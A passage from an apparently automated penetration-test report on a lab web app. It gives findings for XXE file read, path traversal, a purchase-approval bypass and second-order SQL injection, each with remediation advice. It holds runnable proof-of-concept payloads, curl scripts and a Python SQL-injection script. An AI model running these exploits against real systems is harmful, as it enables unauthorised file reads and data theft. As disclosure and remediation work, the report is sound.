  <pre>I639-PROBE-I639-INTERNALXXXXXX-lab
<XXXXXX>
<XXXXXX>
```

Negative control (malformed XML), step 17816 — proves the value is genuinely server-parsed, and shows a minor parser error-detail leak:

TECHNICAL EVIDENCE

```
HTTP 400, 4390 bytes
La requête n’a pas abouti. <unknown>:1:0: syntax error
```

The `<file>:<line>:<column>: <message>` shape is a raw XML-parser error string surfaced to the client (the probe was rejected, so no submission budget was consumed).

PoC

Complete, runnable reproduction (payload + request in one block):

TECHNICAL EVIDENCE

```
#!XXXXXX
# XXE PoC — XXXXXX POST XXXXXX, unauthenticated arbitrary local file read
AT='XXXXXX'

cat > XXXXXX <<'EOF'
<?xml version="1.0"?>
<!DOCTYPE dossier [
  <!ENTITY int "I639-INTERNAL">
  <!ENTITY ext SYSTEM "file:///etc/hostname">
]>
<dossier><nom>I639-PROBE-∫<XXXXXX><ville>&ext;<XXXXXX><XXXXXX>
EOF

curl -sS -X POST \
  --data-urlencode "XXXXXX" \
  "$AT/import" | grep -A3 'Contenu importé'
# Expected: I639-PROBE-I639-INTERNALXXXXXX-lab
# (internal entity substituted + external file entity resolved and reflected)
```

To read any other file, replace the `SYSTEM` URI (e.g. `file:///etc/passwd`). The reproduction steps above are the PoC; the runtime constraint to respect is one accepted `XXXXXX` submission per form (single-form submission budget of this training environment).

Root cause analysis

1. **External entity resolution left enabled.** The XML parser accepts DOCTYPE definitions and resolves `SYSTEM` entities against local `file://` URIs. Modern parser defaults (or a single flag such as `resolve_entities=False` XXXXXX disabling DTD loading XXXXXX forbidding `file://` and `http://` SYSTEM URIs) would have neutered the primitive at the parser boundary.
2. **Parsed content reflected without sanitization of entity expansion.** The application renders the parsed text nodes directly in "Contenu importé", turning an internal parser behavior into an attacker-visible file-read oracle — the reflection is what makes the file read exfiltrable in a single request.
3. **No authentication or CSRF on a state-changing parse endpoint.** The import action is reachable and submittable by any anonymous caller, so the XXE primitive requires zero foothold.
4. **Secondary:** parser error strings are surfaced to the user verbatim (`<unknown>:1:0: syntax error`), a minor information-disclosure contributor.

Remediation

1. **Harden the parser (primary fix).** Configure the XML parser to not resolve external entities, e.g. for Python/lxml-style stacks: disallow DTD loading and network/file access (`XMLParser(resolve_entities=False, load_dtd=False, no_network=True)`), or for libxml2 `XML_PARSE_NOENT` off + `XML_PARSE_NONET`; for Java, `XXXXXX`XXXXXX with `XXXXXX` set to true, or at minimum disable external general entities and external parameter entities and set `XMLConstants.ACCESS_EXTERNAL_*` properties to empty. Only entity-free documents should be accepted for import — the sample dossier uses no entities, so no legitimate functionality is lost.
2. **Sanitize what is reflected.** Even after parser hardening, render only explicitly whitelisted fields from the parsed structure, and escape all text before display.
3. **Bound accepted input.** Enforce a document size limit and a parse timeout; reject any document containing `<!DOCTYPE` or `<!ENTITY` outright if entities are never needed.
4. **Require a session and CSRF token** on `POST XXXXXX`, consistent with the app's other forms, so the parse oracle cannot be driven anonymously or cross-site.
5. **Stop surfacing raw parser errors.** Return a generic French-language validation message ("Le fichier XML n'est pas valide") and log the detailed parser error server-side.
6. **Regression check:** after the fix, replay the PoC — the expected behavior is HTTP 200/400 with the literal string `&ext;` (unresolved) or an explicit rejection of the DOCTYPE, and **no** filesystem content in the response.

Evidence basis: executed-live probe (1 accepted submission), full request/response captured in work #639 trace steps 17806–17812; hostname cross-confirmed by the independent file-read of finding 111. Traffic binding: none (auto-binding disabled for this run; `get_finding_traffic` returned an empty list at version 0). SSRF and entity-expansion DoS were intentionally not tested (no authorized callback destination; resource-exhaustion probes out of bounds).

TECHNICAL FINDING / F-014

HIGH

Unauthenticated path-traversal XXXXXX arbitrary file read in XXXXXX GET XXXXXX (adjacent same-origin XXXXXX app)

FINDING RECORD	TRIAGE STATUS	EVIDENCE REFERENCE
#14	Pending	XXXXXX

Unauthenticated Path Traversal XXXXXX Arbitrary File Read — XXXXXX `GET XXXXXX` (CWE-22)

> **Adjacent-surface finding**: the vulnerable endpoint lives in the same-origin **XXXXXX** application at XXXXXX, **not** in the XXXXXX target app at XXXXXX. It is reported here because it is reachable from the same origin within the assessment scope and was explicitly labeled as a separate surface during testing.

Overview

The XXXXXX app's file-serving endpoint `GET XXXXXX` performs **no path confinement** on the `file` parameter: it accepts absolute filesystem paths (XXXXXX) and XXXXXX relative traversal (XXXXXX) and returns the real file content as `text/plain` to **any anonymous caller with no session or authentication**.

Impact

- **Unauthenticated arbitrary file read on the host**, bounded only by the read permissions of the application process. Any world-readable file — configuration files, application source, environment/secret files whose path is known — can be exfiltrated by a single anonymous GET.
- Confirmed reads include the full XXXXXX (complete account inventory: usernames, UIDs/GIDs, home directories, shells — 18 accounts, useful for follow-on attacks such as user enumeration or targeted file reads), XXXXXX (internal network topology hints), and XXXXXX (`XXXXXX-lab`).
- No authentication, no CSRF, no rate-limit token required; the read is a single GET request, trivially scriptable for bulk extraction.
- **Severity: High** — unauthenticated (pre-auth) read of arbitrary host files is a direct confidentiality breach and a standard stepping stone to deeper compromise (credential/config discovery), even though it is not by itself RCE.

Measured impact

Executed live against the production origin (curl, unauthenticated, no cookies):

- **6 of 11 distinct `file` values probed returned real file content** (HTTP 200, `text/plain`); the other 5 returned the generic 400 error page.

- Files actually read: `XXXXXX` (**839 bytes**, full 18-account listing from `root:x:0:0:root:/root:/bin/bash` through `nobody:x:65534:65534:nobody`), `XXXXXX` (**12 bytes**, value `XXXXXX-lab` — a runtime-unique value proving a genuine filesystem read, not a canned fixture), `XXXXXX` (**148 bytes**, container-style loopback/multicast entries), `XXXXXX` (**839 bytes**, identical content → relative traversal accepted), plus the two intended baseline documents (`XXXXXX`, 68 B; `XXXXXX`, 56 B).
- **Traversal is NOT blocked**: the `XXXXXX` variants that failed (`XXXXXX`, `XXXXXX`, `..XXXXXX`) returned the *same generic* 400 "Requête non aboutie · XXXXXX" page as a deliberately nonexistent file (`XXXXXX`) — i.e. resolution failures, not a traversal filter. `XXXXXX` succeeding proves `XXXXXX` is honored.
- **Boundaries observed**: `XXXXXX` returned 400 (not readable/absent for the app user), so exposure is limited to files the app process can read — not a blanket read of every file on the host. The fixed `Content-Disposition: inline; filename="XXXXXX"` header leaves no filename-echo/CRLF injection vector. No directory-listing or source-map exposure contributed to this finding.

Affected scope

- **Asset/endpoint**: `GET XXXXXX`
- **Parameter**: `file` (query string, single value)
- **Access**: none required (fully anonymous; requests were sent cookie-less)
- **Vulnerable behavior**: accepts absolute paths and `XXXXXX` traversal; returns file bytes as `text/plain`
- **Not affected by this finding**: the XXXXXX app's own endpoints (its `XXXXXX` redirector is strictly allow-listed, verified separately as finding 110); XXXXXX `XXXXXX` (separate surface, assessed separately).

Reproduction steps

1. From any machine with internet access, with **no cookies and no authentication**, issue: `curl -sS "XXXXXX"` → HTTP 200, `text/plain; charset=utf-8`, 839 bytes of the real passwd file.
2. Confirm relative traversal is honored (same content, 839 bytes): `curl -sS "XXXXXX"`
3. Confirm a genuine filesystem read (runtime-unique value): `curl -sS "XXXXXX"` → `XXXXXX-lab`
4. Baseline (intended behavior): `?file=XXXXXX` → 200, 68 bytes; `?file=XXXXXX` → 200, 56 bytes.
5. Negative control: `?file=XXXXXX` (nonexistent) → 400 branded "Requête non aboutie · XXXXXX" HTML page — the identical page returned for `XXXXXX` and `XXXXXX`, demonstrating the 400 is a resolution/permission failure and not a traversal block.

Evidence

Captured live (intent 639, work#3; trace steps 17787–17798). Key excerpts:

TECHNICAL EVIDENCE

```
== file=XXXXXX        code=200 bytes=68  type=text/plain; charset=utf-8
   Bienvenue dans XXXXXX. Tous les documents et comptes sont fictifs.
== file=XXXXXX         code=200 bytes=56  type=text/plain; charset=utf-8
   Planning de démonstration : lundi, mercredi, vendredi.
== file=XXXXXX     code=400 bytes=4438 type=text/html  ("Requête non aboutie · XXXXXX")
== file=XXXXXX   code=400 bytes=4438 type=text/html
== file=..XXXXXX  code=400 bytes=4440 type=text/html
== file=XXXXXX          code=200 bytes=839 type=text/plain; charset=utf-8
XXXXXX
== file=XXXXXX     code=200 bytes=839 type=text/plain; charset=utf-8   (same content)
```

TECHNICAL EVIDENCE / CONTINUED

```
== file=XXXXXX   code=400 bytes=4440 type=text/html
```

Full XXXXXX read-back (839 bytes, verbatim):

TECHNICAL EVIDENCE

```
XXXXXX
XXXXXX
XXXXXX
XXXXXX
XXXXXX
XXXXXX
XXXXXX
XXXXXX
XXXXXX
XXXXXX
XXXXXX
XXXXXX
XXXXXX
XXXXXX
XXXXXX
XXXXXX
XXXXXX
XXXXXX
XXXXXX
```

Response headers on a successful read:

TECHNICAL EVIDENCE

```
HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
Content-Disposition: inline; filename="XXXXXX"
Cache-Control: private, no-store
X-Content-Type-Options: nosniff
```

Traffic-binding note: automatic traffic binding was disabled for this run (`evidence_status: not_bound`, binding list empty), so no raw HTTP capture is attached to the finding record. All evidence above comes verbatim from the live curl commands and their outputs recorded in the worker trace (intent 639, steps 17787/17788, 17794/17795) and the exploration node; no requests or responses have been fabricated or re-probed.

PoC

One-liner PoC (unauthenticated):

TECHNICAL EVIDENCE

```
AT='XXXXXX'
# Absolute-path read:
curl -sS "$AT/download?file=XXXXXX"
# Relative-traversal read (same result):
curl -sS "$AT/download?file=XXXXXX"
# Proof of real FS read:
curl -sS "$AT/download?file=XXXXXX"
```

Expected: `200` + the requested file's content as `text/plain` for any path readable by the app process; `400` branded HTML page only for paths that fail to resolve or are unreadable.

Root cause analysis

The `file` query parameter is used **directly as a filesystem path** when serving the download:

1. **No base-directory confinement**: absolute paths (XXXXXX) are accepted as-is instead of being joined to a fixed documents directory.
2. **No traversal rejection**: XXXXXX segments survive path resolution (XXXXXX served the file), and the identical generic 400 page for XXXXXX vs. a nonexistent file shows there is no explicit traversal filter — only resolution success/failure is distinguished.
3. **No indirect reference**: documents are addressed by filesystem path rather than by an opaque ID mapped to an allow-listed file, so the entire readable filesystem namespace is exposed to client input.

The contrast within the same origin is instructive: the XXXXXX app's XXXXXX implements a strict host-pinned allowlist (400 for anything else, verified in finding 110), showing the intended control style that XXXXXX lacks.

Remediation

1. **Confine resolution server-side (primary fix)**: reject values containing a leading XXXXXX (absolute paths); resolve every request as `base_dir + provided value`, then canonicalize (realpath) and verify the result still starts with the canonical `base_dir` prefix before opening. Return 400 on any escape — including URL-decoded XXXXXX variants, which must be decoded *before* normalization.
2. **Prefer indirect references**: serve documents by opaque ID (e.g. `?doc=bienvenue`) resolved server-side to a fixed filename map, eliminating path input entirely.
3. **Defense in depth — least privilege**: run the app under a dedicated user whose read access is limited to the documents directory (the observed 400 on XXXXXX suggests some containment already exists, but OS permissions must not be the only control).
4. **Regression tests**: assert that XXXXXX, `?file=XXXXXX`, `?file=XXXXXX`, and `?file=XXXXXX` all return 4xx after the fix, while the legitimate baseline documents (XXXXXX, XXXXXX) still return 200.
5. Optional hardening: keep the existing `Cache-Control: private, no-store` and `X-Content-Type-Options: nosniff` headers, and ensure error responses do not differentiate "missing" vs. "permission denied" beyond what is needed, to avoid a file-existence oracle for out-of-base probing.

TECHNICAL FINDING / F-017

HIGH

Purchase workflow bypass: dispatch executes without the required manager approval (state-machine precondition not enforced)

FINDING RECORD	TRIAGE STATUS	EVIDENCE REFERENCE
#17	Pending	XXXXXX

Purchase workflow bypass: dispatch executes without the required manager approval

Overview

In the XXXXXX app at `XXXXXX`, the purchase state machine lets `POST XXXXXX}XXXXXX` transition a purchase from **draft** to **dispatched** using only the reservation artifact — including purchases above the app's own stated "manager approval above 20 EUR" threshold — with no approval ever recorded; afterwards the approval step is permanently unreachable (approve stays 403), so the mandatory approval control can be skipped entirely and can never be applied retroactively.

Impact

- **Business consequence:** the lowest-privileged session the app issues (an anonymous, auto-assigned member identity, e.g. "Alex Morgan" XXXXXX workspace alpha) can drive an above-threshold purchase through fulfillment without the manager sign-off the application itself declares mandatory ("A manager must approve purchases above 20 EUR."). In a real deployment this is a budget-control/procurement-governance bypass: goods are dispatched and a server-issued receipt is produced with zero approvals on record.
- **The control failure is one-way:** once dispatched without approval, `approve` still answers 403 and `reserve` answers 409 ("This purchase has already been dispatched."), so the missing approval cannot be regularized through the API — the audit trail permanently shows a dispatched purchase with no approval.
- **Severity: high.** Rationale: complete bypass of a mandatory financial control, achieved on the first attempt by the least-privileged session, with a persistent server-side state change and server-issued receipt. Mitigating context: this fixture app flags dispatch as `"simulated": true` and no direct monetary movement was demonstrated, which keeps it at high rather than critical.
- **Classification:** business logic — workflow step bypass XXXXXX approval precondition not enforced (CWE-841 Improper Enforcement of Behavioral Workflow; OWASP API6:2019 family).

Measured impact

- **Bypass success: 1 of 1 attempts (first try).** An 80.00 EUR purchase (`total_cents=8000`, 4× the app's own 20 EUR XXXXXX 2000-cent threshold) transitioned draft→dispatched with **0 approvals recorded**.
- **Approval reachability: 0 of 4.** Four approve attempts (before reserve, before dispatch, after dispatch, after dispatch replay) all returned 403; the approval count in the final persisted state was 0.
- **What the defenses do block (measured, all executed live):** dispatch without a reservation reference → 403 (1/1); dispatch with a fabricated reference → 403 (1/1); approve before reserve → 403 (1/1). Only the approval precondition is unenforced.
- **Dispatch replay:** returned 200 again with the identical receipt `PROOF{XXXXXX}` (idempotent success response; state unchanged, no duplicate-state corruption observed).
- **Proof basis:** executed live against the target (curl, own synthetic purchase `XXXXXX`, session jar `jar_a`, attempt `XXXXXX`). Purchase-value upper bound (`total_cents` maximum) was not tested; only 8000 cents was exercised.

Affected scope

- **Vulnerable transition:** `POST XXXXXX}XXXXXX` — draft→dispatched executes without checking approval state (base URL: `XXXXXX`).
- **Workflow endpoints involved:** `POST XXXXXX` (create), `POST XXXXXX}XXXXXX`, `POST XXXXXX}XXXXXX`, `GET XXXXXX` (state read-back).
- **Parameters:** `reservation` (properly bound and validated), `_csrf` (session-bound token, honored), `total_cents` (purchase value at creation).
- **Role boundary affected:** member-level session vs. the manager-approval requirement for purchases above 20 EUR.
- **Verified as working as intended (not affected):** reservation-reference binding (missing/fabricated → 403), CSRF enforcement (session-bound token; cross-session token/cookie mix → 403, verified in the same work), attempt-scoping of purchase objects (cross-attempt purchase actions → 404).

Reproduction steps

All steps use one browser-session/cookie jar; purchase objects are attempt-scoped, so the whole sequence must run in a single session.

1. **Session + CSRF:** `GET` the app root with a fresh cookie jar — the app auto-assigns a member identity and every page carries a hidden `name=_csrf` token (48-hex, per-session; in the recorded attempt: `XXXXXX`). Harvest it with the same jar.
2. **Create an approval-required purchase:** `POST XXXXXX` with `total_cents=8000&_csrf=<token>` → `200 {"id":"XXXXXX",...}`; `GET XXXXXX` confirms `Status:"draft"`, `Total:8000`.
3. **Establish the invariant:** `POST XXXXXX` → `403 {"message":"A manager must approve purchases above 20 EUR.","ok":false}`.
4. **Take the legitimate intermediate step:** `POST XXXXXX` → `200 {"purchase":"XXXXXX","purchase_status":"draft","reservation":"XXXXXX"}`; state remains `draft`.
5. **Skip the approval:** `POST XXXXXX` with `_csrf=<token>&reservation=XXXXXX` → `200 {"purchase":"XXXXXX","receipt":"PROOF{XXXXXX}","simulated":true,"state":"dispatched"}`.

6. **Verify persistence:** `GET XXXXXX` → `{"Status":"dispatched","Reservation":"XXXXXX","Total":8000}` — no approval was ever granted.
7. **Confirm the control is unrecoverable:** `POST .XXXXXX` again → still `403`; `POST .XXXXXX` → `409 "This purchase has already been dispatched."`.
8. **Negative controls (optional):** dispatch without `reservation` → 403; dispatch with `reservation=fabricated123` → 403 — proving only the approval precondition is missing.

Evidence

Executed live (curl, session jar `jar_a`, attempt `XXXXXX`, own synthetic purchase; command transcript captured in worker-trace steps 17446/17451 of intent 638, artifacts under `XXXXXX`):

TECHNICAL EVIDENCE

```
## create purchase 8000c (approval-required)
create -> __200 473 :: {"id": "XXXXXX", "links": {"approve": ".XXXXXX",
                                                  "dispatch": ".XXXXXX", ...}}
  [state after create] __200 117 :: {"XXXXXX": {"ID": "XXXXXX", "Status": "draft", "Reservation": "",
"Total": 8000}}
## bypass probes (expected rejections)
  dispatch w/o reserve -> __403 67 :: {"message": "Supply the reservation reference.", "ok": false}
  approve w/o reserve  -> __403 80 :: {"message": "A manager must approve purchases above 20 EUR.", "ok":
false}
## legit step 1: reserve
  reserve -> __200 103 :: {"purchase": "XXXXXX", "purchase_status": "draft", "reservation": "XXXXXX"}
  [state after reserve] __200 137 :: {"XXXXXX": {"ID": "XXXXXX", "Status": "draft", "Reservation": "XXXXXX",
"Total": 8000}}
## dispatch before approve (approval required for >20 EUR)  — THE BYPASS
  dispatch -> __200 134 :: {"purchase": "XXXXXX", "receipt": "PROOF{XXXXXX}",
                            "simulated": true, "state": "dispatched"}
  [state] __200 142 :: {"XXXXXX": {"ID": "XXXXXX", "Status": "dispatched",
                       "Reservation": "XXXXXX", "Total": 8000}}
## fabricated-reservation control
  dispatch fake reservation -> __403 67 :: {"message": "Supply the reservation reference.", "ok": false}
## approve after dispatch — approval permanently unreachable
  approve -> __403 80 :: {"message": "A manager must approve purchases above 20 EUR.", "ok": false}
## replays
  reserve replay  -> __409 76 :: {"message": "This purchase has already been dispatched.", "ok": false}
  approve replay  -> __403 80 :: {"message": "A manager must approve purchases above 20 EUR.", "ok": false}
  dispatch replay -> __200 134 :: {"purchase": "XXXXXX", "receipt": "PROOF{XXXXXX}",
                                   "simulated": true, "state": "dispatched"}
  [state final] __200 142 :: {"XXXXXX": {"ID": "XXXXXX", "Status": "dispatched",
                              "Reservation": "XXXXXX", "Total": 8000}}
```

Traffic binding note: this finding record has no bound HTTP traffic (traffic version 0, bindings list empty; automatic binding was off for this run and the probing used CLI curl with response bodies saved to local temp files). The transcript above is the executed evidence; no request/response content beyond it is reproduced or assumed.

Context facts established by the same work (intent 638): the app auto-assigns a synthetic member identity per cookie jar (recorded fact 640); the CSRF token is session-bound (cross-session token/cookie mix → 403, verified in this work); purchase actions are attempt-scoped (actions on a purchase from an earlier attempt → 404), so a reproducer must create their own purchase within one session.

PoC

The reproduction steps above are the PoC; the script below is a direct curl transcription of the executed harness (worker-trace step 17446). Run it as-is; every value is synthetic and one purchase is created per run.

TECHNICAL EVIDENCE

```
#!XXXXXX bash
# Purchase approval-gate bypass — XXXXXX app, POST XXXXXX}XXXXXX
BASE="XXXXXX"
JAR=$(mktemp); H=XXXXXX

# 0) session + per-session CSRF token (hidden input name=_csrf, 48-hex value)
curl -sS -c "$JAR" "$BASE/" -o "$H"
CSRF=$(grep -oE 'name=_csrf[^>]*value="?[0-9a-f]{40,}' "$H" | grep -oE '[0-9a-f]{40,}' | head -1)
echo "CSRF=$CSRF"   # recorded attempt used: XXXXXX

req() { curl -sS -b "$JAR" -c "$JAR" -X "$1" "$BASE$2" \
        -H "Content-Type: application/x-www-form-urlencoded" --data-binary "$3" -w '\n__%{http_code}\n'; }

# 1) create an approval-required purchase (80 EUR > 20 EUR threshold)
CREATE=$(req POST XXXXXX "total_cents=8000&_csrf=$CSRF"); echo "$CREATE"
PID=$(echo "$CREATE" | head -1 | grep -oE '"id": *"[0-9a-f]+"' | cut -d'"' -f4)

# 2) invariant: the member session cannot approve
req POST "XXXXXX" "_csrf=$CSRF"     # -> 403 "A manager must approve purchases above 20 EUR."

# 3) legitimate intermediate step
RES=$(req POST "XXXXXX" "_csrf=$CSRF"); echo "$RES"
RESID=$(echo "$RES" | head -1 | grep -oE '"reservation": *"[0-9a-f]+"' | cut -d'"' -f4)

# 4) BYPASS: dispatch with only the reservation artifact — approval skipped
req POST "XXXXXX" "_csrf=$CSRF&reservation=$RESID"   # -> 200 "state":"dispatched" + receipt

# 5) verify persisted state and that approval is now unreachable
curl -sS -b "$JAR" "$BASE/api/purchases"; echo           # -> "Status":"dispatched", "Total":8000
req POST "XXXXXX" "_csrf=$CSRF"     # -> still 403 (approval permanently skippable)
```

Expected result: step 4 returns `200` with `"state":"dispatched"` and a `PROOF{...}` receipt — the approval gate was bypassed; step 5 confirms `Status":"dispatched"` while `approve` remains `403`.

Root cause analysis

- The dispatch handler validates **only its own local precondition** — that the supplied `reservation` reference matches the purchase's reserved artifact (missing → 403 "Supply the reservation reference.", fabricated → 403) — and never consults the purchase's approval state before executing the draft→dispatched transition. This is CWE-841: a behavioral-workflow step enforced partially, out of order.
- Approval is modeled as a standalone role-gated action rather than a persisted state the dispatch path must read: the state machine has no effective "approved" precondition on dispatch, so the two gates (manager approval, reservation binding) are enforced independently and only one carries over.
- The failure is **durable by design**: `approve` stays 403 in the dispatched state (no retro-approval path) and `reserve` is refused post-dispatch (409), so an unapproved dispatch can never be regularized through the API.

- Contributing: idempotent dispatch replay returns 200 with the same receipt, so monitoring keyed on non-2xx responses would not notice re-execution either.

Remediation

1. **Enforce the approval precondition server-side in the dispatch transition:** reject with 409/403 ("approval required") unless the purchase carries a persisted approval record (approver identity + timestamp) — not merely a valid reservation reference.
2. **Model the workflow as an explicit state machine** (draft → reserved → approved → dispatched) and validate every transition against a server-side allowed-(from,to) table; `dispatch` should be reachable only from `approved`.
3. **Record approval as durable state** at `approve` time (who/when) and expose it in `GET XXXXXX`, so the completeness of the gate is auditable; alert on any dispatch lacking an approval record.
4. **Add server-side transition tests for out-of-order sequences**, including the exact PoC sequence (create → approve-403 → reserve → dispatch) asserting dispatch is refused until an approval exists; also cover approve-after-dispatch semantics and dispatch idempotency (replay should return the original receipt with an explicit replay indicator and no side effects).
5. **Bound `total_cents` at creation** (min/max validation) so the financial exposure of any future precondition bypass is bounded — the 8000-cent value was accepted as-is and the upper bound was untested in this assessment.
6. **Long-term:** keep business-rule invariants (e.g. the 20 EUR approval threshold) in a single server-side policy module consumed by every transition handler, so the user-facing message and the actual enforcement cannot diverge.

Related but distinct: finding 105 (`XXXXXX` single-use voucher replay) is a separate business-logic defect in a different workflow; no duplicate of this purchase-dispatch gate exists in the task's finding list (checked via the task findings ledger).

TECHNICAL FINDING / F-018

HIGH

Second-order SQL injection: stored report-view filter executed at export (SQLite)

FINDING RECORD	TRIAGE STATUS	EVIDENCE REFERENCE
#18	Pending	XXXXXX

Finding: exploration node 655 XXXXXX vulnerability record 107 · class `sql_injection` · severity **high** · executed live, anonymous session, XXXXXX · intent 637 (work#1)

Overview

The XXXXXX application's report-view feature stores the user-supplied `filter` string verbatim on `POST XXXXXX`, and the export consumer `GET XXXXXX}XXXXXX` later interpolates that stored filter into a SQLite `LIKE` predicate. A stored filter of `x' OR 1=1-- -` breaks out of the string literal at export time and returns records benign filters never expose (including "Closed review"); `UNION SELECT` payloads read arbitrary query results back through the export `rows` array — the database schema (`work_items`, `report_archive`) and the engine version (SQLite 3.53.4) were both extracted live. Injection and execution are split across two endpoints and two points in time: the classic second-order (stored) SQL injection pattern.

Impact

An attacker needs nothing more than what the app hands to every visitor: the app assigns any anonymous browser a synthetic member identity (`XXXXXX` session cookie, "Alex Morgan", workspace alpha) and the matching `_csrf` token is embedded in the page's own form. With that, the attacker can:

- **Persist an arbitrary SQL fragment server-side** with a single form POST. Creation returns a clean `200` JSON — nothing at injection time signals that a payload was stored — and the payload executes whenever the view's export is requested, so the injection point and the exploitation point need not even be the same request.
- **Read data the normal UI path does not return.** The injected filter returned "Closed review", a record no benign filter returned in testing; `UNION SELECT` turns the export into a generic single-column readback channel for any scalar query (`sqlite_master` schema and `sqlite_version()` confirmed).
- Any table reachable by the application's database connection is enumerable from this channel (schema via `sqlite_master`, then row-by-row extraction), i.e. a confidentiality breach of the report database.

Severity **high**: unauthenticated-to-self-issued-session attack path, arbitrary readback proven end-to-end, stored/persistent payload. Write primitives (stacked queries) and RCE were **not** demonstrated, so impact is assessed as database-level information disclosure, not server takeover.

Measured impact

- **Row-set inflation (executed live):** against the 5-row report table (3 rows visible in benign use), benign filter `Autumn` returned **1** row (`["Autumn review"]`) and the non-matching control `zzzznotexist` returned **0** rows, while stored filter `x' OR 1=1-- -` returned **3** rows (`["Autumn review","Design handoff","Closed review"]`) — including "Closed review", which benign filters do not return.
- **Arbitrary readback: 2 of 2 UNION payloads succeeded** — `UNION SELECT group_concat(name,'|') FROM sqlite_master` → `["work_items|report_archive"]`; `UNION SELECT sqlite_version()` → `["3.53.4"]`.
- **What the defense blocked: nothing on this parameter.** The filter is accepted verbatim at creation (no validation, no parameterization at consumption). The only control encountered is the session-bound CSRF token, which every visitor obtains automatically.
- **Basis:** executed live against the target, XXXXXX; 6 accepted synthetic view creations in total, all within the assessor's own attempt. Cross-user export of another session's view ID was not tested in this work — unverified, needs further confirmation.

Affected scope

- **Producer (injection point):** `POST {BASE}XXXXXX` — form fields `name`, `filter` (+ session `_csrf`). `filter` (UI label "Title contains") is stored verbatim. `BASE = XXXXXX`
- **Consumer (execution point):** `GET {BASE}XXXXXX}XXXXXX` — evaluates the stored filter inside a SQLite `LIKE` predicate; responds `application/json` (`Content-Disposition` absent — no CSV-injection context; CSVi was tested and is a negative).
- **Backing store:** SQLite 3.53.4; schema visible from this query path: tables `work_items`, `report_archive`. (Same engine version as the separately reported catalog SQLi, but a different entry point and table set.)
- **Distinct from finding 98** (node 641, direct SQLi on `GET XXXXXX`): different endpoints, stored vs reflected, different tables — no duplicate. Additional locations of the same deferred-validation root cause are covered by the "audit all consumers" remediation below.

Reproduction steps

1. `GET {BASE}XXXXXX` with a cookie jar. The app sets the `XXXXXX` session cookie and the page contains the "Save a title filter" form with hidden `_csrf`.
2. Extract `_csrf` from the form HTML on `XXXXXX`.
3. **Store the payload:** `POST {BASE}XXXXXX`, form-urlencoded: `_csrf=<token>&name=i637-sqli-filter&filter=x' OR 1=1-- -` → `200` JSON echoes the filter verbatim and returns `{"id":"XXXXXX","export":"{BASE}XXXXXX"}`.
4. **Trigger execution:** `GET {BASE}XXXXXX` → `200` `{"name":"i637-sqli-filter","rows":["Autumn review","Design handoff","Closed review"]}`.
5. **Controls (same procedure):** filter `Autumn` → rows `["Autumn review"]` (view `XXXXXX`); filter `zzzznotexist` → rows `[]` (view `XXXXXX`) — excludes a "returns everything in benign use" explanation.
6. **Arbitrary readback:** store `filter=x' UNION SELECT group_concat(name,'|') FROM sqlite_master-- -` (view `XXXXXX`) → export rows `["work_items|report_archive"]`; store `filter=x' UNION SELECT sqlite_version()-- -` (view `XXXXXX`) → export rows `["3.53.4"]`.

Evidence

Save-view form source (GET XXXXXX, session-bound):

TECHNICAL EVIDENCE

```
<form method=post action="{BASE}XXXXXX"><input type=hidden name=_csrf value="XXXXXX"><label>View name<input
name="name" value="Autumn work"><XXXXXX><label>Title contains<input name="filter"
value="Autumn"><XXXXXX><button type=submit>Save view<XXXXXX><XXXXXX>
```

Creation accepts SQL verbatim (work trace step 17537):

TECHNICAL EVIDENCE

```
[RVIEW2] POST XXXXXX [filter=SQLi] :: 200 :: {"export": ".XXXXXX", "filter": "x' OR 1=1-- -", "id": "XXXXXX",
 "name": "i637-sqli-filter"}
```

Differential at export (steps 17525 XXXXXX 17537):

TECHNICAL EVIDENCE

```
[EXPORT]  GET XXXXXX  [filter=Autumn]       :: 200 :: {"name": "...", "rows": ["Autumn review"]}
[EXPORT3] GET XXXXXX  [filter=zzzznotexist] :: 200 :: {"name": "...", "rows": []}
[EXPORT2] GET XXXXXX  [filter=x' OR 1=1-- -]:: 200 :: {"name": "i637-sqli-filter", "rows": ["Autumn review",
"Design handoff", "Closed review"]}
```

UNION readback (step 17550):

TECHNICAL EVIDENCE

```
[EXPORT4] GET XXXXXX [UNION sqlite_master] :: 200 :: {"name": "i637-union-filter", "rows":
["work_items|report_archive"]}
[EXPORT5] GET XXXXXX [UNION sqlite_version]:: 200 :: {"name": "i637-ver-filter", "rows": ["3.53.4"]}
```

Traffic-binding note: no HTTP traffic bindings are attached to this finding record (auto-binding disabled, bindings list empty). The evidence above is from executed-live command outputs preserved verbatim in the work trace (steps 17525, 17537, 17550); request/response pairs were not re-probed for binding.

PoC

Self-contained stdlib Python — creates its own session + CSRF, then runs the full differential (read-only SELECTs; 1 POST + 1 GET per payload):

TECHNICAL EVIDENCE

```
#!XXXXXX python3
# Second-order SQLi PoC — XXXXXX report-views (finding node 655 XXXXXX record 107)
import XXXXXX, json, re, XXXXXX, XXXXXX

BASE = "XXXXXX"
jar  = XXXXXX()
op   = XXXXXX.build_opener(XXXXXX(jar))

def req(path, form=None):
    data = XXXXXX(form).encode() if form else None
    hdrs = {"User-Agent": "poc-655/1.0"}
    if form:
```

TECHNICAL EVIDENCE / CONTINUED

```
        XXXXXX({"Content-Type": "application/x-www-form-urlencoded",
                    "Origin": "XXXXXX",
                    "Referer": BASE + "XXXXXX"})
    r = XXXXXX(BASE + path, data=data, headers=hdrs)
    return XXXXXX(r, timeout=20).read().decode()

html = req("XXXXXX")                                  # 1. session cookie + form
csrf = XXXXXX(r'name=_csrf value="([^"]+)"', html).group(1)

def run(filt):
    view = XXXXXX(req("XXXXXX",
                      {"_csrf": csrf, "name": "poc-655", "filter": filt}))
    rows = XXXXXX(req(view["export"]))["rows"]       # 2. store -> 3. export
    print(f"{filt!r:68} -> {rows}")

run("Autumn")                                                    # benign:  ["Autumn review"]
run("zzzznotexist")                                              # control: []
run("x' OR 1=1-- -")                                             # all rows incl. "Closed review"
run("x' UNION SELECT group_concat(name,'|') FROM sqlite_master-- -") # schema
run("x' UNION SELECT sqlite_version()-- -")                       # engine version
```

Run: `python3 poc_655.py`. Observed response JSON keys: `id`, `export` (creation), `rows` (export) — adjust key names if the app version differs.

Root cause analysis

